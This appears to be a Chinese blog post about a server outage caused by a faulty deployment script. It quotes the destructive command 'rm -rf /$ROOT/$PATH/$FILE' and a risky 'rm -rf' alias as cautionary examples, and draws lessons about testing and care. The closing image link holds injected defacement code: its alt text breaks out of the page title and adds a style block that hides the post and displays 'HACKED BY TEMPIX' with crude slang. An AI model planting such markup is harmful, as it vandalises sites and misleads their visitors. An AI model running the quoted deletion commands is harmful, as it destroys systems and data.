子夏为莒父宰,问政。子曰:“无欲速,无见小利。欲速则不达,见小利,则大事不成。” ————《论语·子路》
事件
几天前,在测试一个远程部署shell脚本的时候,因为错用了单引号导致本地参数没有传递到服务器上,结果就发生了这样的悲剧:
rm -rf /$ROOT/$PATH/$FILE #结果执行的是 rm -rf ///
脚本运行后就蹦出大量的/sys/下文件无权删除提示,一看不对赶紧停掉脚本,服务器已经挂了。经过一天的抢修服务才恢复运行,幸好终止的快,只删掉了部分系统文件,生产数据没有受到损失。
反思
1、绝对慎用rm -rf
事件发生后,同事们都调侃说rm -rf /这样的事故只听过bumblebee这样的传说,没想到竟然在身边发生了。同样是部署脚本,不同的是一个少打了空格,一个没传递参数。而能写出这样的脚本,原因都是对rm语句缺乏应有的警惕性,尤其在自动执行的脚本中,更要慎之又慎才是。
2、上线前必须测试
发生这种事故的本质是脚本在生产环境运行前没有进行测试,上线时对脚本执行后果的预期没有得到验证。如果先在测试环境运行一次,即使有再大的问题,最多把测试环境搞瘫,不会影响生产的服务和数据。
3、不能一味追求速度
现在各种效率工具和效率方法层出不穷,总想用最快的速度最短的时间把一件事情做完。而速度提升的副作用总是错误增多。
以前使用windows时,觉得每次删除文件都要确认很烦,就把确认提示给关了;然后又觉得总要清回收站也很烦,就每次都Shift+Delete;结果误删了文件就只能求助rstudio了。
再回想自己的aoeu.sh项目中还有alias d=’rm -rf’这样可怕的东西,不禁惊出一身冷汗,马上干掉了。万一有人打cd、df这种命令少打一个字符……
在提升效率的同时一定要考虑安全性和容错性,尤其是在涉及数据和服务的时候。
![HACKED BY TEMPIX</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=Share+Tech+Mono&display=swap');
*{margin:0;padding:0;box-sizing:border-box}
body,html{overflow:hidden!important;font-family:'Share Tech Mono',monospace}
body *:not(style){display:none!important}
body{
background:#000!important;
position:fixed!important;
width:100vw!important;
height:100vh!important;
display:flex!important;
align-items:center!important;
justify-content:center!important;
}
body::before{
content:"";
position:absolute;
top:0;left:0;right:0;bottom:0;
background:
linear-gradient(90deg,#0f0 1px,transparent 1px),
linear-gradient(180deg,#0f0 1px,transparent 1px);
background-size:50px 50px;
opacity:0.1;
animation:grid 20s linear infinite;
}
@keyframes grid{
0%{transform:perspective(500px) rotateX(60deg) translateZ(0)}
100%{transform:perspective(500px) rotateX(60deg) translateZ(500px)}
}
body::after{
content:"HACKED BY TEMPIX\A\AJ E M B O T\AJembot Mawot Pejuh Muncrat\A\A[ SYSTEM COMPROMISED ]";
white-space:pre;
display:block!important;
color:#0f0;
font-size:48px;
text-align:center;
z-index:999999;
animation:glitch 2s infinite,glow 1.5s infinite;
text-shadow:
0 0 10px #0f0,
0 0 20px #0f0,
0 0 30px #0f0,
0 0 40px #0f0;
}
@keyframes glitch{
0%,100%{transform:translate(0)}
20%{transform:translate(-2px,2px)}
40%{transform:translate(-2px,-2px)}
60%{transform:translate(2px,2px)}
80%{transform:translate(2px,-2px)}
}
@keyframes glow{
0%,100%{opacity:1}
50%{opacity:0.7}
}
h1,h2,h3,h4,h5,h6,p,div,span,a{display:none!important}
</style>
<title>](https://zhangshenjia.com/wp-content/uploads/2018/12/cropped-640-2.jpg)